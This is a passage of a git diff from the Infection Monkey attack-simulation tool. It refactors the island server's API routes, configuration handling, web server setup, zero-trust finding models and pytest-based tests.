monkey_island.cc.services.representations import output_json @@ -82,6 +86,8 @@ def init_app_config(app, mongo_url): # configuration. See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS. app.config['JSON_SORT_KEYS'] = False + app.json_encoder = CustomJSONEncoder + def init_app_services(app): init_jwt(app) @@ -119,30 +125,32 @@ def init_api_resources(api): api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') api.add_resource(NodeStates, '/api/netmap/nodeStates') - # report_type: zero_trust or security - api.add_resource( - Report, - '/api/report/', - '/api/report//') - api.add_resource(ZeroTrustFindingEvent, '/api/zero-trust/finding-event/') + api.add_resource(SecurityReport, '/api/report/security') + api.add_resource(ZeroTrustReport, '/api/report/zero-trust/') + api.add_resource(AttackReport, '/api/report/attack') + api.add_resource(ZeroTrustFindingEvent, '/api/zero-trust/finding-event/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') api.add_resource(PBAFileDownload, '/api/pba/download/') + api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH) api.add_resource(FileUpload, '/api/fileUpload/', '/api/fileUpload/?load=', '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') api.add_resource(AttackConfiguration, '/api/attack') - api.add_resource(AttackReport, '/api/attack/report') api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/') api.add_resource(RemotePortCheck, '/api/monkey_control/check_remote_port/') api.add_resource(StartedOnIsland, '/api/monkey_control/started_on_island') + api.add_resource(ScoutSuiteAuth, '/api/scoutsuite_auth/') + api.add_resource(AWSKeys, '/api/aws_keys') + # Resources used by black box tests api.add_resource(MonkeyTest, '/api/test/monkey') api.add_resource(ClearCaches, '/api/test/clear_caches') api.add_resource(LogTest, '/api/test/log') + api.add_resource(TelemetryTest, '/api/test/telemetry') def init_app(mongo_url): diff --git a/monkey/monkey_island/cc/conftest.py b/monkey/monkey_island/cc/conftest.py new file mode 100644 index 000000000..0ed1533ab --- /dev/null +++ b/monkey/monkey_island/cc/conftest.py @@ -0,0 +1,3 @@ +# Without these imports pytests can't use fixtures, +# because they are not found +from monkey_island.cc.test_common.fixtures import * # noqa: F401,F403 diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index fcaa4e156..75012183f 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -6,8 +6,7 @@ from datetime import timedelta __author__ = 'itay.mizeretz' -from common.utils.exceptions import (AlreadyRegisteredError, - CredentialsNotRequiredError, +from common.utils.exceptions import (AlreadyRegisteredError, CredentialsNotRequiredError, InvalidRegistrationCredentialsError) from monkey_island.cc.environment.environment_config import EnvironmentConfig from monkey_island.cc.environment.user_creds import UserCreds diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index 587989825..b1ba0a734 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -1,6 +1,5 @@ from common.cloud.aws.aws_instance import AwsInstance from monkey_island.cc.environment import Environment -from monkey_island.cc.resources.auth.auth_user import User __author__ = 'itay.mizeretz' diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 0c66b2fc4..35dbafc8e 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -2,13 +2,17 @@ from __future__ import annotations import json import os +from pathlib import Path from typing import Dict, List -from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH +import monkey_island.cc.environment.server_config_generator as server_config_generator +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.environment.user_creds import UserCreds from monkey_island.cc.resources.auth.auth_user import User from monkey_island.cc.resources.auth.user_store import UserStore +SERVER_CONFIG_FILENAME = "server_config.json" + class EnvironmentConfig: def __init__(self, @@ -43,13 +47,15 @@ class EnvironmentConfig: @staticmethod def get_from_file() -> EnvironmentConfig: file_path = EnvironmentConfig.get_config_file_path() + if not Path(file_path).is_file(): + server_config_generator.create_default_config_file(file_path) with open(file_path, 'r') as f: config_content = f.read() return EnvironmentConfig.get_from_json(config_content) @staticmethod def get_config_file_path() -> str: - return os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server_config.json') + return os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', SERVER_CONFIG_FILENAME) def to_dict(self) -> Dict: config_dict = {'server_config': self.server_config, diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index 6e800650f..6b98d0b7c 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -1,10 +1,7 @@ import logging -env = None - import monkey_island.cc.resources.auth.user_store as user_store -from monkey_island.cc.environment import (EnvironmentConfig, aws, password, - standard, testing) +from monkey_island.cc.environment import EnvironmentConfig, aws, password, standard, testing __author__ = 'itay.mizeretz' @@ -13,15 +10,15 @@ logger = logging.getLogger(__name__) AWS = 'aws' STANDARD = 'standard' PASSWORD = 'password' -TESTING = 'testing' ENV_DICT = { STANDARD: standard.StandardEnvironment, AWS: aws.AwsEnvironment, - PASSWORD: password.PasswordEnvironment, - TESTING: testing.TestingEnvironment + PASSWORD: password.PasswordEnvironment } +env = None + def set_env(env_type: str, env_config: EnvironmentConfig): global env diff --git a/monkey/monkey_island/cc/environment/server_config_generator.py b/monkey/monkey_island/cc/environment/server_config_generator.py new file mode 100644 index 000000000..d5c645564 --- /dev/null +++ b/monkey/monkey_island/cc/environment/server_config_generator.py @@ -0,0 +1,7 @@ +from pathlib import Path + + +def create_default_config_file(path): + default_config_path = f"{path}.default" + default_config = Path(default_config_path).read_text() + Path(path).write_text(default_config) diff --git a/monkey/monkey_island/cc/set_server_config.py b/monkey/monkey_island/cc/environment/set_server_config.py similarity index 50% rename from monkey/monkey_island/cc/set_server_config.py rename to monkey/monkey_island/cc/environment/set_server_config.py index fc20747c9..168fe13cd 100644 --- a/monkey/monkey_island/cc/set_server_config.py +++ b/monkey/monkey_island/cc/environment/set_server_config.py @@ -1,9 +1,23 @@ import argparse import json import logging +import sys from pathlib import Path +from shutil import move + + +def add_monkey_dir_to_sys_path(): + monkey_path = Path(sys.path[0]) + monkey_path = monkey_path.parents[2] + sys.path.insert(0, monkey_path.__str__()) + + +add_monkey_dir_to_sys_path() + +from monkey_island.cc.environment.environment_config import EnvironmentConfig # noqa: E402 isort:skip SERVER_CONFIG = "server_config" +BACKUP_CONFIG_FILENAME = "./server_config.backup" logger = logging.getLogger(__name__) logger.addHandler(logging.StreamHandler()) @@ -12,12 +26,21 @@ logger.setLevel(logging.DEBUG) def main(): args = parse_args() - file_path = get_config_file_path(args) + file_path = EnvironmentConfig.get_config_file_path() + + if args.server_config == "restore": + restore_previous_config(file_path) + quit() # Read config with open(file_path) as config_file: config_data = json.load(config_file) + # Backup the config + with open(BACKUP_CONFIG_FILENAME, "w") as backup_file: + json.dump(config_data, backup_file, indent=4) + backup_file.write("\n") + # Edit the config config_data[SERVER_CONFIG] = args.server_config @@ -28,19 +51,16 @@ def main(): config_file.write("\n") # Have to add newline at end of file, since json.dump does not. -def get_config_file_path(args): - file_path = Path(__file__).parent.joinpath(args.file_name) - logger.info("Config file path: {}".format(file_path)) - return file_path - - def parse_args(): parser = argparse.ArgumentParser() - parser.add_argument("server_config", choices=["standard", "testing", "password"]) - parser.add_argument("-f", "--file_name", required=False, default="server_config.json") + parser.add_argument("server_config", choices=["standard", "password", "restore"]) args = parser.parse_args() return args +def restore_previous_config(config_path): + move(BACKUP_CONFIG_FILENAME, config_path) + + if __name__ == '__main__': main() diff --git a/monkey/monkey_island/cc/environment/test__init__.py b/monkey/monkey_island/cc/environment/test__init__.py index 881195309..c55e1b65b 100644 --- a/monkey/monkey_island/cc/environment/test__init__.py +++ b/monkey/monkey_island/cc/environment/test__init__.py @@ -4,13 +4,10 @@ from typing import Dict from unittest import TestCase from unittest.mock import MagicMock, patch -import monkey_island.cc.testing.environment.server_config_mocks as config_mocks -from common.utils.exceptions import (AlreadyRegisteredError, - CredentialsNotRequiredError, - InvalidRegistrationCredentialsError, - RegistrationNotNeededError) -from monkey_island.cc.environment import (Environment, EnvironmentConfig, - UserCreds) +import monkey_island.cc.test_common.environment.server_config_mocks as config_mocks +from common.utils.exceptions import (AlreadyRegisteredError, CredentialsNotRequiredError, + InvalidRegistrationCredentialsError, RegistrationNotNeededError) +from monkey_island.cc.environment import Environment, EnvironmentConfig, UserCreds def get_server_config_file_path_test_version(): @@ -112,4 +109,3 @@ class TestEnvironment(TestCase): self.assertTrue(method()) else: self.assertFalse(method()) - diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index 6a6da6be7..ed9b0ef96 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -5,8 +5,8 @@ from typing import Dict from unittest import TestCase from unittest.mock import MagicMock, patch -import monkey_island.cc.testing.environment.server_config_mocks as config_mocks -from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH +import monkey_island.cc.test_common.environment.server_config_mocks as config_mocks +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.environment.environment_config import EnvironmentConfig from monkey_island.cc.environment.user_creds import UserCreds @@ -57,7 +57,7 @@ class TestEnvironmentConfig(TestCase): def test_get_server_config_file_path(self): if platform.system() == "Windows": - server_file_path = MONKEY_ISLAND_ABS_PATH + "\cc\server_config.json" + server_file_path = MONKEY_ISLAND_ABS_PATH + r"\cc\server_config.json" else: server_file_path = MONKEY_ISLAND_ABS_PATH + "/cc/server_config.json" self.assertEqual(EnvironmentConfig.get_config_file_path(), server_file_path) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 5867b8825..ce142edcc 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -1,35 +1,37 @@ import logging import os -import os.path import sys import time +from pathlib import Path from threading import Thread -MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" +# Add the monkey_island directory to the path, to make sure imports that don't start with "monkey_island." work. +from gevent.pywsgi import WSGIServer -BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent) +if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path: + sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH) -if BASE_PATH not in sys.path: - sys.path.insert(0, BASE_PATH) - -from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH -from monkey_island.cc.island_logger import json_setup_logging +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH # noqa: E402 +from monkey_island.cc.server_utils.island_logger import json_setup_logging # noqa: E402 # This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. -json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'), +json_setup_logging(default_path=Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'), default_level=logging.DEBUG) logger = logging.getLogger(__name__) -import monkey_island.cc.environment.environment_singleton as env_singleton -from common.version import get_version -from monkey_island.cc.app import init_app -from monkey_island.cc.bootloader_server import BootloaderHttpServer -from monkey_island.cc.database import get_db_version, is_db_server_up -from monkey_island.cc.network_utils import local_ip_addresses -from monkey_island.cc.resources.monkey_download import MonkeyDownload -from monkey_island.cc.services.reporting.exporter_init import \ - populate_exporter_list -from monkey_island.cc.setup import setup +import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 +from common.version import get_version # noqa: E402 +from monkey_island.cc.app import init_app # noqa: E402 +from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 +from monkey_island.cc.database import get_db_version # noqa: E402 +from monkey_island.cc.database import is_db_server_up # noqa: E402 +from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 +from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 +from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 +from monkey_island.cc.setup import setup # noqa: E402 + +MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" def main(should_setup_only=False): @@ -43,9 +45,6 @@ def main(should_setup_only=False): def start_island_server(should_setup_only): - from tornado.httpserver import HTTPServer - from tornado.ioloop import IOLoop - from tornado.wsgi import WSGIContainer mongo_url = os.environ.get('MONGO_URL', env_singleton.env.get_mongo_url()) wait_for_mongo_db_server(mongo_url) @@ -54,8 +53,8 @@ def start_island_server(should_setup_only): populate_exporter_list() app = init_app(mongo_url) - crt_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt') - key_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key') + crt_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt')) + key_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key')) setup() @@ -66,12 +65,11 @@ def start_island_server(should_setup_only): if env_singleton.env.is_debug(): app.run(host='0.0.0.0', debug=True, ssl_context=(crt_path, key_path)) else: - http_server = HTTPServer(WSGIContainer(app), - ssl_options={'certfile': os.environ.get('SERVER_CRT', crt_path), - 'keyfile': os.environ.get('SERVER_KEY', key_path)}) - http_server.listen(env_singleton.env.get_island_port()) + http_server = WSGIServer(('0.0.0.0', env_singleton.env.get_island_port()), app, + certfile=os.environ.get('SERVER_CRT', crt_path), + keyfile=os.environ.get('SERVER_KEY', key_path)) log_init_info() - IOLoop.instance().start() + http_server.serve_forever() def log_init_info(): diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 9d0114b78..87626c448 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -10,11 +10,6 @@ from .monkey import Monkey # noqa: F401 from .monkey_ttl import MonkeyTtl # noqa: F401 from .pba_results import PbaResults # noqa: F401 -# This section sets up the DB connection according to the environment. -# If testing, use mongomock which only emulates mongo. for more information, see -# http://docs.mongoengine.org/guide/mongomock.html . -# Otherwise, use an actual mongod instance with connection parameters supplied by env. -if env_singleton.env.testing: # See monkey_island.cc.environment.testing - connect('mongoenginetest', host='mongomock://localhost') -else: - connect(db=env_singleton.env.mongo_db_name, host=env_singleton.env.mongo_db_host, port=env_singleton.env.mongo_db_port) +connect(db=env_singleton.env.mongo_db_name, + host=env_singleton.env.mongo_db_host, + port=env_singleton.env.mongo_db_port) diff --git a/monkey/monkey_island/cc/models/attack/attack_mitigations.py b/monkey/monkey_island/cc/models/attack/attack_mitigations.py index d2641561d..0c38ecbeb 100644 --- a/monkey/monkey_island/cc/models/attack/attack_mitigations.py +++ b/monkey/monkey_island/cc/models/attack/attack_mitigations.py @@ -1,12 +1,10 @@ from typing import Dict -from mongoengine import (Document, DoesNotExist, EmbeddedDocumentField, - ListField, StringField) +from mongoengine import Document, DoesNotExist, EmbeddedDocumentField, ListField, StringField from stix2 import AttackPattern, CourseOfAction from monkey_island.cc.models.attack.mitigation import Mitigation -from monkey_island.cc.services.attack.test_mitre_api_interface import \ - MitreApiInterface +from monkey_island.cc.services.attack.test_mitre_api_interface import MitreApiInterface class AttackMitigations(Document): diff --git a/monkey/monkey_island/cc/models/attack/mitigation.py b/monkey/monkey_island/cc/models/attack/mitigation.py index a67945ca9..03c8bafef 100644 --- a/monkey/monkey_island/cc/models/attack/mitigation.py +++ b/monkey/monkey_island/cc/models/attack/mitigation.py @@ -1,8 +1,7 @@ from mongoengine import EmbeddedDocument, StringField from stix2 import CourseOfAction -from monkey_island.cc.services.attack.test_mitre_api_interface import \ - MitreApiInterface +from monkey_island.cc.services.attack.test_mitre_api_interface import MitreApiInterface class Mitigation(EmbeddedDocument): diff --git a/monkey/monkey_island/cc/models/edge.py b/monkey/monkey_island/cc/models/edge.py index 24a520265..78fb91d6e 100644 --- a/monkey/monkey_island/cc/models/edge.py +++ b/monkey/monkey_island/cc/models/edge.py @@ -1,5 +1,4 @@ -from mongoengine import (BooleanField, Document, DynamicField, ListField, - ObjectIdField, StringField) +from mongoengine import BooleanField, Document, DynamicField, ListField, ObjectIdField, StringField class Edge(Document): diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 2d970c640..b0009a335 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -2,18 +2,14 @@ Define a Document Schema for the Monkey document. """ import ring -from mongoengine import (BooleanField, DateTimeField, Document, DoesNotExist, - DynamicField, EmbeddedDocumentField, ListField, - ReferenceField, StringField) +from mongoengine import (BooleanField, DateTimeField, Document, DoesNotExist, DynamicField, EmbeddedDocumentField, + ListField, ReferenceField, StringField) from common.cloud import environment_names -from monkey_island.cc.consts import \ - DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS -from monkey_island.cc.models.command_control_channel import \ - CommandControlChannel -from monkey_island.cc.models.monkey_ttl import (MonkeyTtl, - create_monkey_ttl_document) -from monkey_island.cc.network_utils import local_ip_addresses +from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS +from monkey_island.cc.models.command_control_channel import CommandControlChannel +from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document +from monkey_island.cc.services.utils.network_utils import local_ip_addresses MAX_MONKEYS_AMOUNT_TO_CACHE = 100 @@ -143,7 +139,7 @@ class Monkey(Document): try: _ = Monkey.get_single_monkey_by_id(object_id) return True - except: + except: # noqa: E722 return False @staticmethod diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index 18bdb1177..7860de20e 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -5,26 +5,17 @@ from time import sleep import pytest from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError -from monkey_island.cc.testing.IslandTestCase import IslandTestCase from .monkey_ttl import MonkeyTtl +from ..test_common.fixtures import FixtureEnum logger = logging.getLogger(__name__) -class TestMonkey(IslandTestCase): - """ - Make sure to set server environment to `testing` in server_config.json! - Otherwise this will mess up your mongo instance and won't work. - - Also, the working directory needs to be the working directory from which you usually run the island so the - server_config.json file is found and loaded. - """ +class TestMonkey: + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_is_dead(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - # Arrange alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30) alive_monkey_ttl.save() @@ -47,43 +38,37 @@ class TestMonkey(IslandTestCase): dead_monkey.save() # act + assert - self.assertTrue(dead_monkey.is_dead()) - self.assertTrue(mia_monkey.is_dead()) - self.assertFalse(alive_monkey.is_dead()) + assert dead_monkey.is_dead() + assert mia_monkey.is_dead() + assert not alive_monkey.is_dead() + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_ttl_renewal(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - # Arrange monkey = Monkey(guid=str(uuid.uuid4())) monkey.save() - self.assertIsNone(monkey.ttl_ref) + assert monkey.ttl_ref is None # act + assert monkey.renew_ttl() - self.assertIsNotNone(monkey.ttl_ref) + assert monkey.ttl_ref + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_single_monkey_by_id(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - # Arrange a_monkey = Monkey(guid=str(uuid.uuid4())) a_monkey.save() # Act + assert # Find the existing one - self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id)) + assert Monkey.get_single_monkey_by_id(a_monkey.id) is not None # Raise on non-existent monkey - with pytest.raises(MonkeyNotFoundError) as e_info: + with pytest.raises(MonkeyNotFoundError) as _: _ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef") + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_os(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - linux_monkey = Monkey(guid=str(uuid.uuid4()), description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu") windows_monkey = Monkey(guid=str(uuid.uuid4()), @@ -94,14 +79,12 @@ class TestMonkey(IslandTestCase): windows_monkey.save() unknown_monkey.save() - self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "windows"])) - self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "linux"])) - self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "unknown"])) + assert 1 == len([m for m in Monkey.objects() if m.get_os() == "windows"]) + assert 1 == len([m for m in Monkey.objects() if m.get_os() == "linux"]) + assert 1 == len([m for m in Monkey.objects() if m.get_os() == "unknown"]) + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_tunneled_monkeys(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - linux_monkey = Monkey(guid=str(uuid.uuid4()), description="Linux shay-Virtual-Machine") windows_monkey = Monkey(guid=str(uuid.uuid4()), @@ -118,12 +101,10 @@ class TestMonkey(IslandTestCase): and unknown_monkey in tunneled_monkeys and linux_monkey not in tunneled_monkeys and len(tunneled_monkeys) == 2) - self.assertTrue(test, "Tunneling test") + assert test + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_label_by_id(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - hostname_example = "a_hostname" ip_example = "1.1.1.1" linux_monkey = Monkey(guid=str(uuid.uuid4()), @@ -135,26 +116,26 @@ class TestMonkey(IslandTestCase): logger.debug(id(Monkey.get_label_by_id)) cache_info_before_query = Monkey.get_label_by_id.storage.backend.cache_info() - self.assertEqual(cache_info_before_query.hits, 0) - self.assertEqual(cache_info_before_query.misses, 0) + assert cache_info_before_query.hits == 0 + assert cache_info_before_query.misses == 0 # not cached label = Monkey.get_label_by_id(linux_monkey.id) cache_info_after_query_1 = Monkey.get_label_by_id.storage.backend.cache_info() - self.assertEqual(cache_info_after_query_1.hits, 0) - self.assertEqual(cache_info_after_query_1.misses, 1) + assert cache_info_after_query_1.hits == 0 + assert cache_info_after_query_1.misses == 1 logger.debug("1) ID: {} label: {}".format(linux_monkey.id, label)) - self.assertIsNotNone(label) - self.assertIn(hostname_example, label) - self.assertIn(ip_example, label) + assert label is not None + assert hostname_example in label + assert ip_example in label # should be cached label = Monkey.get_label_by_id(linux_monkey.id) logger.debug("2) ID: {} label: {}".format(linux_monkey.id, label)) cache_info_after_query_2 = Monkey.get_label_by_id.storage.backend.cache_info() - self.assertEqual(cache_info_after_query_2.hits, 1) - self.assertEqual(cache_info_after_query_2.misses, 1) + assert cache_info_after_query_2.hits == 1 + assert cache_info_after_query_2.misses == 1 # set hostname deletes the id from the cache. linux_monkey.set_hostname("Another hostname") @@ -165,27 +146,25 @@ class TestMonkey(IslandTestCase): cache_info_after_query_3 = Monkey.get_label_by_id.storage.backend.cache_info() logger.debug("Cache info: {}".format(str(cache_info_after_query_3))) # still 1 hit only - self.assertEqual(cache_info_after_query_3.hits, 1) - self.assertEqual(cache_info_after_query_3.misses, 2) + assert cache_info_after_query_3.hits == 1 + assert cache_info_after_query_3.misses == 2 + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_is_monkey(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - a_monkey = Monkey(guid=str(uuid.uuid4())) a_monkey.save() cache_info_before_query = Monkey.is_monkey.storage.backend.cache_info() - self.assertEqual(cache_info_before_query.hits, 0) + assert cache_info_before_query.hits == 0 # not cached - self.assertTrue(Monkey.is_monkey(a_monkey.id)) + assert Monkey.is_monkey(a_monkey.id) fake_id = "123456789012" - self.assertFalse(Monkey.is_monkey(fake_id)) + assert not Monkey.is_monkey(fake_id) # should be cached - self.assertTrue(Monkey.is_monkey(a_monkey.id)) - self.assertFalse(Monkey.is_monkey(fake_id)) + assert Monkey.is_monkey(a_monkey.id) + assert not Monkey.is_monkey(fake_id) cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info() - self.assertEqual(cache_info_after_query.hits, 2) + assert cache_info_after_query.hits == 2 diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py deleted file mode 100644 index c3817313f..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py +++ /dev/null @@ -1,31 +0,0 @@ -import common.data.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.finding import Finding - - -class AggregateFinding(Finding): - @staticmethod - def create_or_add_to_existing(test, status, events): - """ - Create a new finding or add the events to an existing one if it's the same (same meaning same status and same - test). - - :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not - when this function should be used. - """ - existing_findings = Finding.objects(test=test, status=status).exclude('events') - assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) - - if len(existing_findings) == 0: - Finding.save_finding(test, status, events) - else: - # Now we know for sure this is the only one - orig_finding = existing_findings[0] - orig_finding.add_events(events) - - -def add_malicious_activity_to_timeline(events): - AggregateFinding.create_or_add_to_existing( - test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=zero_trust_consts.STATUS_VERIFY, - events=events - ) diff --git a/monkey/monkey_island/cc/models/zero_trust/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py index 7ff08305b..d1a0001af 100644 --- a/monkey/monkey_island/cc/models/zero_trust/event.py +++ b/monkey/monkey_island/cc/models/zero_trust/event.py @@ -2,7 +2,7 @@ from datetime import datetime from mongoengine import DateTimeField, EmbeddedDocument, StringField -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts class Event(EmbeddedDocument): diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index d6d5c6c3f..f65d39af7 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -2,14 +2,12 @@ """ Define a Document Schema for Zero Trust findings. """ -from typing import List -from mongoengine import Document, EmbeddedDocumentListField, StringField +from __future__ import annotations -import common.data.zero_trust_consts as zero_trust_consts -# Dummy import for mongoengine. -# noinspection PyUnresolvedReferences -from monkey_island.cc.models.zero_trust.event import Event +from mongoengine import Document, StringField + +import common.common_consts.zero_trust_consts as zero_trust_consts class Finding(Document): @@ -30,31 +28,9 @@ class Finding(Document): * The logic section defines complex questions we can ask about a single document which are asked multiple times, or complex action we will perform - somewhat like an API. """ - # SCHEMA - test = StringField(required=True, choices=zero_trust_consts.TESTS) - status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES) - events = EmbeddedDocumentListField(document_type=Event) # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance meta = {'allow_inheritance': True} - # LOGIC - def get_test_explanation(self): - return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.TEST_EXPLANATION_KEY] - - def get_pillars(self): - return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.PILLARS_KEY] - - # Creation methods - @staticmethod - def save_finding(test, status, events): - finding = Finding( - test=test, - status=status, - events=events) - - finding.save() - - return finding - - def add_events(self, events: List) -> None: - self.update(push_all__events=events) + # SCHEMA + test = StringField(required=True, choices=zero_trust_consts.TESTS) + status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES) diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py new file mode 100644 index 000000000..479b9b244 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py @@ -0,0 +1,20 @@ +from __future__ import annotations + +from mongoengine import LazyReferenceField + +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails + + +class MonkeyFinding(Finding): + # We put additional info into a lazy reference field, because this info should be only + # pulled when explicitly needed due to performance + details = LazyReferenceField(MonkeyFindingDetails, required=True) + + @staticmethod + def save_finding(test: str, + status: str, + detail_ref: MonkeyFindingDetails) -> MonkeyFinding: + finding = MonkeyFinding(test=test, status=status, details=detail_ref) + finding.save() + return finding diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py new file mode 100644 index 000000000..62cfda504 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py @@ -0,0 +1,19 @@ +from __future__ import annotations + +from typing import List + +from mongoengine import Document, EmbeddedDocumentListField + +from monkey_island.cc.models.zero_trust.event import Event + + +class MonkeyFindingDetails(Document): + + # SCHEMA + events = EmbeddedDocumentListField(document_type=Event, required=False) + + # LOGIC + def add_events(self, events: List[Event]) -> MonkeyFindingDetails: + self.events.extend(events) + self.save() + return self diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py new file mode 100644 index 000000000..166c247bf --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py @@ -0,0 +1,20 @@ +from mongoengine import Document, DynamicField + + +class ScoutSuiteRawDataJson(Document): + """ + This model is a container for 